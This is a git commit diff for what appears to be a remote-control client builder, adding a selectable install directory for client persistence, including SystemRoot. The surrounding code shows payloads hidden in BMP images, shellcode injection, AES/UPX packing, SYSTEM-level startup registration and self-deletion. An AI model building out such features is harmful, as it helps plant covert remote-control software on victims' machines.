Feature: Allow user to select an installation location for client
This commit is contained in:
1 parent
f76cd79bb0
commit
b637c94e24
15 files changed
+139
-101
No files matched your search
@@ -283,7 +283,7 @@ int main(int argc, const char *argv[])
|
|||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||||
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
|
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
|
|||||||
+22
-4
@@ -371,10 +371,28 @@ BOOL CreateDirectoryRecursively(const char* path)
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
const char* GetInstallDirectory(const char * startupName)
|
const char* GetInstallDirectory(const char * startupName, int flag)
|
||||||
{
|
{
|
||||||
static char folder[MAX_PATH] = { 0 };
|
static char folder[MAX_PATH] = { 0 };
|
||||||
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) {
|
char env[32] = { 0 };
|
||||||
|
switch (flag) {
|
||||||
|
case 1:
|
||||||
|
strcpy(env, "ProgramFiles");
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
strcpy(env, "SystemRoot"); // Windows 目录,通常 C:\Windows
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
strcpy(env, "APPDATA"); // 当前用户的漫游应用数据目录,即 ...\AppData\Roaming
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
strcpy(env, "LOCALAPPDATA"); // 当前用户的本地应用数据目录,即 ...\AppData\Local
|
||||||
|
break;
|
||||||
|
default: // 0
|
||||||
|
strcpy(env, "ProgramData");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (GetEnvironmentVariableA(env, folder, MAX_PATH) > 0) {
|
||||||
size_t len = strlen(folder);
|
size_t len = strlen(folder);
|
||||||
if (len > 0 && folder[len - 1] != '\\') {
|
if (len > 0 && folder[len - 1] != '\\') {
|
||||||
folder[len] = '\\';
|
folder[len] = '\\';
|
||||||
@@ -390,7 +408,7 @@ const char* GetInstallDirectory(const char * startupName)
|
|||||||
return folder;
|
return folder;
|
||||||
}
|
}
|
||||||
|
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag)
|
||||||
{
|
{
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
return 1;
|
return 1;
|
||||||
@@ -401,7 +419,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
if (GetUserNameA(username, &size)) {
|
if (GetUserNameA(username, &size)) {
|
||||||
Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName);
|
Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName);
|
||||||
}
|
}
|
||||||
const char *folder = GetInstallDirectory(startupName);
|
const char *folder = GetInstallDirectory(startupName, flag);
|
||||||
if (!folder) {
|
if (!folder) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
const char* GetInstallDirectory(const char* startupName);
|
const char* GetInstallDirectory(const char* startupName, int flag);
|
||||||
|
|
||||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||||
|
|
||||||
// return > 0 means to continue running else terminate.
|
// return > 0 means to continue running else terminate.
|
||||||
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag);
|
||||||
|
|
||||||
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
||||||
bool IsSystemInSession0();
|
bool IsSystemInSession0();
|
||||||
+3
-2
@@ -320,10 +320,11 @@ int main(int argc, const char *argv[])
|
|||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||||
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
|
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf, g_ConnectAddress.installFlag);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||||
|
g_ConnectAddress.installFlag);
|
||||||
if (!folder) {
|
if (!folder) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -855,7 +855,8 @@ public:
|
|||||||
char installDir[32]; // 安装目录
|
char installDir[32]; // 安装目录
|
||||||
char installName[32]; // 安装名称
|
char installName[32]; // 安装名称
|
||||||
char installDesc[136];// 安装描述
|
char installDesc[136];// 安装描述
|
||||||
char szFututre[500]; // 保留字段
|
int installFlag; // 安装标记
|
||||||
|
char szFututre[496]; // 保留字段
|
||||||
|
|
||||||
public:
|
public:
|
||||||
void SetType(int typ)
|
void SetType(int typ)
|
||||||
|
|||||||
Binary file not shown.
@@ -580,6 +580,8 @@
|
|||||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||||
|
<Image Include="res\Bitmap\TlsDisable.bmp" />
|
||||||
|
<Image Include="res\Bitmap\TlsEnable.bmp" />
|
||||||
<Image Include="res\Bitmap\Trial.bmp" />
|
<Image Include="res\Bitmap\Trial.bmp" />
|
||||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||||
|
|||||||
@@ -359,5 +359,7 @@
|
|||||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||||
|
<Image Include="res\Bitmap\TlsEnable.bmp" />
|
||||||
|
<Image Include="res\Bitmap\TlsDisable.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -258,6 +258,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
|
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
|
||||||
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
|
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
|
||||||
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
|
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_INSTALL_LOC, m_ComboLocation);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -426,7 +427,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||||
m_SliderClientSize.SetPos(0);
|
m_SliderClientSize.SetPos(0);
|
||||||
}
|
}
|
||||||
int startup = Startup_DLL;
|
int startup = Startup_DLL, installFlag = m_ComboLocation.GetCurSel();
|
||||||
CString file;
|
CString file;
|
||||||
CString targetDir;
|
CString targetDir;
|
||||||
switch (index) {
|
switch (index) {
|
||||||
@@ -434,7 +435,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
case IndexTestRun_MemDLL:
|
case IndexTestRun_MemDLL:
|
||||||
case IndexTestRun_InjSC:
|
case IndexTestRun_InjSC:
|
||||||
file = "TestRun.exe";
|
file = "TestRun.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag);
|
||||||
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
|
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
|
||||||
startup = std::map<int, int> {
|
startup = std::map<int, int> {
|
||||||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||||||
@@ -444,14 +445,14 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
break;
|
break;
|
||||||
case IndexGhost:
|
case IndexGhost:
|
||||||
file = "ghost.exe";
|
file = "ghost.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_ONE;
|
typ = CLIENT_TYPE_ONE;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||||
break;
|
break;
|
||||||
case IndexGhostMsc:
|
case IndexGhostMsc:
|
||||||
file = "ghost.exe";
|
file = "ghost.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_ONE;
|
typ = CLIENT_TYPE_ONE;
|
||||||
startup = Startup_GhostMsc;
|
startup = Startup_GhostMsc;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
@@ -459,7 +460,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
break;
|
break;
|
||||||
case IndexTestRunMsc:
|
case IndexTestRunMsc:
|
||||||
file = "TestRun.exe";
|
file = "TestRun.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_MEMDLL;
|
typ = CLIENT_TYPE_MEMDLL;
|
||||||
startup = Startup_TestRunMsc;
|
startup = Startup_TestRunMsc;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||||
@@ -467,14 +468,14 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
break;
|
break;
|
||||||
case IndexServerDll:
|
case IndexServerDll:
|
||||||
file = "ServerDll.dll";
|
file = "ServerDll.dll";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_DLL;
|
typ = CLIENT_TYPE_DLL;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
||||||
break;
|
break;
|
||||||
case IndexTinyRun:
|
case IndexTinyRun:
|
||||||
file = "TinyRun.dll";
|
file = "TinyRun.dll";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_SHELLCODE;
|
typ = CLIENT_TYPE_SHELLCODE;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||||||
@@ -497,7 +498,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
}
|
}
|
||||||
case IndexGhostSystem:
|
case IndexGhostSystem:
|
||||||
file = "ghost.exe";
|
file = "ghost.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_ONE;
|
typ = CLIENT_TYPE_ONE;
|
||||||
startup = Startup_GhostSystem;
|
startup = Startup_GhostSystem;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
@@ -505,14 +506,14 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
break;
|
break;
|
||||||
case IndexTestRunSystem:
|
case IndexTestRunSystem:
|
||||||
file = "TestRun.exe";
|
file = "TestRun.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag);
|
||||||
typ = CLIENT_TYPE_MEMDLL;
|
typ = CLIENT_TYPE_MEMDLL;
|
||||||
startup = Startup_TestRunSystem;
|
startup = Startup_TestRunSystem;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||||
break;
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir, installFlag);
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
typ = -1;
|
typ = -1;
|
||||||
if (file != _TR("未选择文件")) {
|
if (file != _TR("未选择文件")) {
|
||||||
@@ -547,6 +548,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength());
|
memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength());
|
||||||
memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength());
|
memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength());
|
||||||
memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength());
|
memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength());
|
||||||
|
g_ConnectAddress.installFlag = installFlag;
|
||||||
|
|
||||||
if (!g_ConnectAddress.IsValid()) {
|
if (!g_ConnectAddress.IsValid()) {
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
@@ -781,7 +783,8 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
// 多语言翻译 - Static控件
|
// 多语言翻译 - Static控件
|
||||||
SetDlgItemText(IDC_STATIC_OTHER_ITEM, _TR("未选择文件"));
|
SetDlgItemText(IDC_STATIC_OTHER_ITEM, _TR("未选择文件"));
|
||||||
SetDlgItemText(IDC_STATIC_PAYLOAD, _TR("载荷类型:"));
|
SetDlgItemText(IDC_STATIC_PAYLOAD, _TR("载荷类型:"));
|
||||||
SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("安装目录:"));
|
SetDlgItemText(IDC_STATIC_LOCATION, _TR("安装目录:"));
|
||||||
|
SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("子目录:"));
|
||||||
SetDlgItemText(IDC_STATIC_PAYLOAD3, _TR("程序名称:"));
|
SetDlgItemText(IDC_STATIC_PAYLOAD3, _TR("程序名称:"));
|
||||||
SetDlgItemText(IDC_STATIC_DOWNLOAD, _TR("下载地址(默认本机):"));
|
SetDlgItemText(IDC_STATIC_DOWNLOAD, _TR("下载地址(默认本机):"));
|
||||||
SetDlgItemText(IDC_STATIC_BUILD_SERVICE, _TR("服务程序:"));
|
SetDlgItemText(IDC_STATIC_BUILD_SERVICE, _TR("服务程序:"));
|
||||||
@@ -852,6 +855,13 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
||||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||||||
|
|
||||||
|
m_ComboLocation.InsertStringL(0, "ProgramData");
|
||||||
|
m_ComboLocation.InsertStringL(1, "ProgramFiles - Admin");
|
||||||
|
m_ComboLocation.InsertStringL(2, "SystemRoot - Admin");
|
||||||
|
m_ComboLocation.InsertStringL(3, "APPDATA");
|
||||||
|
m_ComboLocation.InsertStringL(4, "LOCALAPPDATA");
|
||||||
|
m_ComboLocation.SetCurSel(0);
|
||||||
|
|
||||||
m_ComboPayload.InsertStringL(Payload_Self, "载荷写入当前程序尾部");
|
m_ComboPayload.InsertStringL(Payload_Self, "载荷写入当前程序尾部");
|
||||||
m_ComboPayload.InsertStringL(Payload_Raw, "载荷写入单独的二进制文件");
|
m_ComboPayload.InsertStringL(Payload_Raw, "载荷写入单独的二进制文件");
|
||||||
m_ComboPayload.InsertStringL(Payload_BMP, "载荷写入 BMP 格式图片");
|
m_ComboPayload.InsertStringL(Payload_BMP, "载荷写入 BMP 格式图片");
|
||||||
|
|||||||
@@ -107,4 +107,5 @@ public:
|
|||||||
|
|
||||||
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
||||||
void EnableWindowsOnlyControls(BOOL enable);
|
void EnableWindowsOnlyControls(BOOL enable);
|
||||||
|
CComboBox m_ComboLocation;
|
||||||
};
|
};
|
||||||
@@ -648,7 +648,8 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
msg.FormatL("已预设续期至: %s\n并发连接数: %d\n配额: %d (支持%d台机器续期)\n客户端上线时将自动下发新授权",
|
msg.FormatL("已预设续期至: %s\n并发连接数: %d\n配额: %d (支持%d台机器续期)\n客户端上线时将自动下发新授权",
|
||||||
strPending, hostNum, quota, quota);
|
strPending, hostNum, quota, quota);
|
||||||
if (expired) {
|
if (expired) {
|
||||||
msg += _L("\n(原授权已过期,续期从今天起算)");
|
msg += _T("\n");
|
||||||
|
msg += _L("(原授权已过期,续期从今天起算)");
|
||||||
}
|
}
|
||||||
MessageBox(msg, _TR("预设成功"), MB_ICONINFORMATION);
|
MessageBox(msg, _TR("预设成功"), MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2097,3 +2097,6 @@ TLS
|
|||||||
V2传输已启动,共 %d 个文件 -> %s=V2-Uebertragung gestartet, %d Datei(en) -> %s
|
V2传输已启动,共 %d 个文件 -> %s=V2-Uebertragung gestartet, %d Datei(en) -> %s
|
||||||
V2下载请求已发送,共 %d 个项目=V2-Download-Anfrage gesendet, %d Element(e)
|
V2下载请求已发送,共 %d 个项目=V2-Download-Anfrage gesendet, %d Element(e)
|
||||||
找不到主连接: clientID %llu=Hauptverbindung nicht gefunden: clientID=%llu
|
找不到主连接: clientID %llu=Hauptverbindung nicht gefunden: clientID=%llu
|
||||||
|
(已过期,续期从今天起算)= (abgelaufen; Verlaengerung ab heute)
|
||||||
|
(原授权已过期,续期从今天起算)=(Urspruengliche Lizenz abgelaufen; Verlaengerung ab heute)
|
||||||
|
子目录=SubDir
|
||||||
@@ -2112,3 +2112,6 @@ TLS
|
|||||||
V2传输已启动,共 %d 个文件 -> %s=V2 transfer started, %d file(s) -> %s
|
V2传输已启动,共 %d 个文件 -> %s=V2 transfer started, %d file(s) -> %s
|
||||||
V2下载请求已发送,共 %d 个项目=V2 download request sent, %d item(s)
|
V2下载请求已发送,共 %d 个项目=V2 download request sent, %d item(s)
|
||||||
找不到主连接: clientID %llu=Main connection not found: clientID=%llu
|
找不到主连接: clientID %llu=Main connection not found: clientID=%llu
|
||||||
|
(已过期,续期从今天起算)= (expired; renewal starts today)
|
||||||
|
(原授权已过期,续期从今天起算)=(Original license expired; renewal starts today)
|
||||||
|
子目录=SubDir
|
||||||
@@ -2103,3 +2103,6 @@ TLS
|
|||||||
V2传输已启动,共 %d 个文件 -> %s=V2 傳輸已啟動,共 %d 個檔案 -> %s
|
V2传输已启动,共 %d 个文件 -> %s=V2 傳輸已啟動,共 %d 個檔案 -> %s
|
||||||
V2下载请求已发送,共 %d 个项目=V2 下載請求已傳送,共 %d 個項目
|
V2下载请求已发送,共 %d 个项目=V2 下載請求已傳送,共 %d 個項目
|
||||||
找不到主连接: clientID %llu=找不到主連線: clientID=%llu
|
找不到主连接: clientID %llu=找不到主連線: clientID=%llu
|
||||||
|
(已过期,续期从今天起算)= (已過期,續期從今天起算)
|
||||||
|
(原授权已过期,续期从今天起算)=(原授權已過期,續期從今天起算)
|
||||||
|
子目录=子目录
|
||||||
@@ -48,9 +48,6 @@
|
|||||||
#define IDI_ICON_STRING 163
|
#define IDI_ICON_STRING 163
|
||||||
#define IDD_DIALOG_SERVICES 164
|
#define IDD_DIALOG_SERVICES 164
|
||||||
#define IDR_MENU_SERVICES 165
|
#define IDR_MENU_SERVICES 165
|
||||||
#define IDD_DIALOG_CONNECTIONS 404
|
|
||||||
#define IDR_MENU_CONNECTIONS 405
|
|
||||||
#define IDI_CONNECTION 406
|
|
||||||
#define IDD_DIALOG_VIDEO 166
|
#define IDD_DIALOG_VIDEO 166
|
||||||
#define IDC_CURSOR2 168
|
#define IDC_CURSOR2 168
|
||||||
#define IDC_CURSOR1 171
|
#define IDC_CURSOR1 171
|
||||||
@@ -266,7 +263,6 @@
|
|||||||
#define IDR_WEB_XTERM_CSS 383
|
#define IDR_WEB_XTERM_CSS 383
|
||||||
#define IDR_WEB_XTERM_FIT_JS 384
|
#define IDR_WEB_XTERM_FIT_JS 384
|
||||||
#define IDR_WEB_INDEX_HTML 385
|
#define IDR_WEB_INDEX_HTML 385
|
||||||
#define IDR_WEB_OPUS_DECODER_JS 401
|
|
||||||
#define IDB_BITMAP_COMPRESS 386
|
#define IDB_BITMAP_COMPRESS 386
|
||||||
#define IDB_BITMAP_UNCOMPRESS 387
|
#define IDB_BITMAP_UNCOMPRESS 387
|
||||||
#define IDB_BITMAP9 388
|
#define IDB_BITMAP9 388
|
||||||
@@ -284,6 +280,12 @@
|
|||||||
#define IDB_BITMAP_HISTORY_ACTIVITY 398
|
#define IDB_BITMAP_HISTORY_ACTIVITY 398
|
||||||
#define IDB_BITMAP_VIEW_WND 399
|
#define IDB_BITMAP_VIEW_WND 399
|
||||||
#define IDB_BITMAP_PROXY_AUTORUN 400
|
#define IDB_BITMAP_PROXY_AUTORUN 400
|
||||||
|
#define IDR_WEB_OPUS_DECODER_JS 401
|
||||||
|
#define IDD_DIALOG_SHARE_HOST 402
|
||||||
|
#define IDD_FILE_SPEED 403
|
||||||
|
#define IDD_DIALOG_CONNECTIONS 404
|
||||||
|
#define IDR_MENU_CONNECTIONS 405
|
||||||
|
#define IDI_CONNECTION 406
|
||||||
#define IDB_BITMAP_FILE_MANAGER 407
|
#define IDB_BITMAP_FILE_MANAGER 407
|
||||||
#define IDB_BITMAP_PRIVACY_SHIELD 408
|
#define IDB_BITMAP_PRIVACY_SHIELD 408
|
||||||
#define IDB_BITMAP_DRAWING_BOARD 409
|
#define IDB_BITMAP_DRAWING_BOARD 409
|
||||||
@@ -362,8 +364,6 @@
|
|||||||
#define IDI_SYSTEM 2035
|
#define IDI_SYSTEM 2035
|
||||||
#define IDC_DOT 2036
|
#define IDC_DOT 2036
|
||||||
#define IDD_AUDIO 2038
|
#define IDD_AUDIO 2038
|
||||||
#define IDD_QUALITY_LEVELS 3000
|
|
||||||
#define IDD_PREVIEW_LEVELS 3001
|
|
||||||
#define IDI_AUDIO 2039
|
#define IDI_AUDIO 2039
|
||||||
#define IDC_LIST_REMOTE 2040
|
#define IDC_LIST_REMOTE 2040
|
||||||
#define IDC_LIST_LOCAL 2041
|
#define IDC_LIST_LOCAL 2041
|
||||||
@@ -527,6 +527,7 @@
|
|||||||
#define IDC_PROGRESS_FILESEND 2214
|
#define IDC_PROGRESS_FILESEND 2214
|
||||||
#define IDC_STATIC_PAYLOAD3 2214
|
#define IDC_STATIC_PAYLOAD3 2214
|
||||||
#define IDC_STATIC_CURRENTINDEX 2215
|
#define IDC_STATIC_CURRENTINDEX 2215
|
||||||
|
#define IDC_STATIC_LOCATION 2215
|
||||||
#define IDC_STATIC_CURRENTPERCENT 2216
|
#define IDC_STATIC_CURRENTPERCENT 2216
|
||||||
#define IDC_EDIT_INSTALL_DIR 2216
|
#define IDC_EDIT_INSTALL_DIR 2216
|
||||||
#define IDC_EDIT_INSTALL_NAME 2217
|
#define IDC_EDIT_INSTALL_NAME 2217
|
||||||
@@ -777,6 +778,52 @@
|
|||||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||||
#define IDC_EDIT_LOG 2546
|
#define IDC_EDIT_LOG 2546
|
||||||
|
#define IDC_QLEVEL_FPS 2547
|
||||||
|
#define IDC_QLEVEL_WIDTH 2553
|
||||||
|
#define IDC_QLEVEL_ALGO 2559
|
||||||
|
#define IDC_QLEVEL_BITRATE 2565
|
||||||
|
#define IDC_QLEVEL_RESET 2571
|
||||||
|
#define IDC_PLEVEL_WIDTH 2572
|
||||||
|
